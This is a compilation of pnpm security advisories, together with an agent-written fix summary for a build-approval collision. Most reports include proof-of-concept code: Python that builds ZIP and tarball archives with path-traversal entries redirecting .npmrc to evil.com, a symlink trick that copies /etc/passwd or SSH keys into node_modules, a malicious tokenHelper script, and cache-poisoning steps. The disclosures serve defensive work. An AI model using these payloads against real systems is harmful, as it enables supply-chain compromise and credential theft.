- config/reader/src/Config.ts - config/reader/src/types.ts - config/reader/src/configFileKey.ts - config/reader/src/index.ts - config/reader/test/index.ts - installing/commands/src/installDeps.ts - installing/commands/test/runPacquet.ts - pnpm/test/install/pacquet.ts
Changeset:
- .changeset/lucky-config-plugin-pnpmfiles.md
Pacquet parity:
No pacquet-side code-execution sink exists for this finding. The Rust port parses and records configDependencies for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path.
CVSS Reassessment
Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.
Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings.
Remaining Risk
Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.
Summary
Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123.
Merged upstream commit bf1b731ee6 fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value.
Security boundary
- Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities.
Exploit replay
- With allowBuilds approving foo@https://host/pkg.tgz, the upstream implementation also accepted foo@https://host/pkg.tgz(evil) because both passed through peer-suffix removal. - An independent review found a second Rust-only form: foo@https://host/pkg@1.0.0(good) and foo@https://host/pkg@1.0.0(evil) collided because the parser selected the final @ and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for https://host/pkg@1.0.0 could collapse https://host/pkg@1.0.0(evil). - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes.
Files changed
- building/policy/src/index.ts and building/policy/test/index.ts normalize only parsed registry identities and retain exact opaque keys. - pacquet/crates/package-manager/src/buildmodules.rs passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - pacquet/crates/package-manager/src/buildmodules/tests.rs covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - .changeset/quiet-opaque-build-identities.md records patch releases for @pnpm/building.policy and pnpm.
Commands run
text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager buildmodules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS
Validation
- The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-@ collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through 84bb4b1a046f3a659de1c9aab1d45dcf814124ce. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching @pnpm/pacquet@0.11.2; no candidate-focused test failed.
Patches
10.34.2: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 11.5.3: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8
Compatibility
Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes.
CI note
GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
--- Written by an agent (Codex, GPT-5).
Summary When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLESHEBANGSUPPORTED).
Details Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd }
The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
PoC bash Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private
Install pnpm add file:/tmp/malicious-pkg
Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable)
Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():
typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) if (!isSubdir(pkgPath, binDir)) { return [] // Reject paths outside package } // ... }
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
typescript const zip = new AdmZip(buffer) const nodeDir = basename === '' ? targetDir : path.dirname(targetDir) const extractedDir = path.join(nodeDir, basename) zip.extractAllTo(nodeDir, true) // Entry paths not validated! await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
typescript const extractedDir = path.join(nodeDir, basename) // If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
python import zipfile import io
zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w') as zf: # Normal file zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"') # Malicious path traversal entry zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f: f.write(zipbuffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
json { "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } }
Impact
- All pnpm users who install packages with binary assets - Users who configure custom Node.js binary locations - CI/CD pipelines that auto-install binary dependencies - Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details 1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)
typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) }
A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)
- On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable)
PoC 1. Create a malicious tarball with entry package/foo\..\..\.npmrc 2. Host it or use as a tarball URL dependency 3. On Windows: pnpm install 4. Observe .npmrc written outside package directory
python import tarfile, io
tarbuffer = io.BytesIO() with tarfile.open(fileobj=tarbuffer, mode='w:gz') as tar: pkgjson = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkginfo = tarfile.TarInfo(name='package/package.json') pkginfo.size = len(pkgjson) tar.addfile(pkginfo, io.BytesIO(pkgjson))
maliciouscontent = b'registry=https://evil.com/\n' malinfo = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') malinfo.size = len(maliciouscontent) tar.addfile(malinfo, io.BytesIO(maliciouscontent))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tarbuffer.getvalue())
Impact - Windows pnpm users - Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) - Can overwrite .npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
Summary A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of nodemodules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.
Details The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (pkg-manager/package-bins/src/index.ts)
The filter allows any bin name starting with @ to pass through without validation:
typescript .filter((commandName) => encodeURIComponent(commandName) === commandName || commandName === '' || commandName[0] === '@' // <-- Bypasses validation )
2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)
typescript function normalizeBinName (name: string): string { return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name } // Input: @scope/../../evil // Output: ../../evil <-- Path traversal preserved!
3. Exploitation (pkg-manager/link-bins/src/index.ts:288)
The normalized name is used directly in path.join() without validation.
PoC 1. Create a malicious package: json { "name": "malicious-pkg", "version": "1.0.0", "bin": { "@scope/../../.npmrc": "./malicious.js" } }
2. Install the package: bash pnpm add /path/to/malicious-pkg
3. Observe .npmrc created in project root (outside nodemodules/.bin).
Impact - All pnpm users who install npm packages - CI/CD pipelines using pnpm - Can overwrite config files, scripts, or other sensitive files
Verified on pnpm main @ commit 5a0ed1d45.
Summary When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/idrsa) causes pnpm to copy that file's contents into nodemodules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
typescript const absolutePath = path.join(dirname, relativePath) const stat = fs.statSync(absolutePath) // Follows symlinks! const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET
There is no check that absolutePath resolves to a location inside the package directory.
PoC bash Create malicious package mkdir -p /tmp/evil && cd /tmp/evil ln -s /etc/passwd leaked-passwd.txt echo '{"name":"evil","version":"1.0.0","files":[".txt"]}' > package.json
Victim installs mkdir /tmp/victim && cd /tmp/victim pnpm init && pnpm add file:../evil
Leaked! cat nodemodules/evil/leaked-passwd.txt
Impact - Developers installing local/file dependencies - CI/CD pipelines installing git dependencies - Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/idrsa
Suggested Fix Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.
Summary
HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.
Details
When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:
resolving/tarball-resolver/src/index.ts: javascript return { resolution: { tarball: resolvedUrl, // No integrity field }, resolvedVia: 'url', }
The resulting lockfile entry has no integrity to verify: yaml remote-dynamic-dependency@http://example.com/pkg.tgz: resolution: {tarball: http://example.com/pkg.tgz} version: 1.0.0
Since there is no integrity hash, pnpm cannot detect when the server returns different content.
This affects: - HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz") - Git shorthand dependencies ("pkg": "github:user/repo") - Git URLs ("pkg": "git+https://github.com/user/repo")
npm registry packages are not affected as they include integrity hashes from the registry metadata.
PoC
See attached pnpm-bypass-integrity-poc.zip
The POC includes: - A server that returns different tarball content on each request - A malicious-package that depends on the HTTP tarball - A victim project that depends on malicious-package
To run: bash cd pnpm-bypass-integrity-poc ./run-poc.sh
The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.
Impact
An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:
- Targeted attacks based on request metadata (IP, headers, timing) - Evasion of security audits (serve benign code during review, malicious code later) - Supply chain attacks where the malicious payload changes over time
The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm - Versions: All versions using @pnpm/config.env-replace and loadToken functionality - File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function - File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution
Technical Details
Vulnerability Chain
1. Environment Variable Substitution - .npmrc supports ${VAR} syntax - Substitution occurs in readLocalConfig()
2. loadToken Execution - Uses spawnSync(helperPath, { shell: true }) - Only validates absolute path existence
3. Attack Flow .npmrc: registry.npmjs.org/:tokenHelper=${HELPERPATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18 typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71 typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BADTOKENHELPERPATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... }
Proof of Concept
Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem
PoC Steps
bash 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN12345" SCRIPT chmod +x /tmp/evil-helper.sh
2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPERPATH} EOF
3. Set environment variable (attacker controlled) export HELPERPATH=/tmp/evil-helper.sh
4. Trigger pnpm install pnpm install # RCE occurs during auth
5. Verify attack cat /tmp/rce-log.txt
PoC Results ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed
Impact
Severity - CVSS Score: 7.6 (High) - CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk: - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users
Low Risk: - Public registry only - Production runtime (no pnpm execution) - Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build dockerfile FROM node:20 ARG HELPERPATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE
Scenario 3: Kubernetes Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper: ini .npmrc registry.npmjs.org/:tokenHelper=${HELPERPATH}
Use direct tokens: ini //registry.npmjs.org/:authToken=YOURTOKEN
Audit environment variables: - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs
Recommended Fixes
1. Remove shell: true from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing
Disclosure
- Discovery: 2025-11-02 - PoC: 2025-11-02 - Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm - Affected: @pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: sy2n0@naver.com
pnpm is a package manager. Prior to version 10.0.0, the path shortening function uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /nodemodoules/, there are no version numbers for the libraries they refer to. This issue has been patched in version 10.0.0.
Summary
pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation)
This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B
Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).
Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache
PoC
Postinstall code used in PoC is benign and can be inspected in <https://www.npmjs.com/package/ponyhooves?activeTab=code>, it's just a console.log
1. Remove store and cache On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store This step is not required in general, but we'll be using a popular package for PoC that's likely cached 2. Create A/package.json: json { "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } } Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help) 4. Create B/package.json: json { "name": "B", "dependencies": { "rimraf": "6.0.1" } } Install it with pnpm i
Result: console Packages: +3 +++ Progress: resolved 3, reused 3, downloaded 0, added 3, done nodemodules/.pnpm/ponyhooves@1.0.1/nodemodules/ponyhooves: Running postinstall script, done in 51ms
dependencies: + rimraf 6.0.1
Done in 1.4s
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace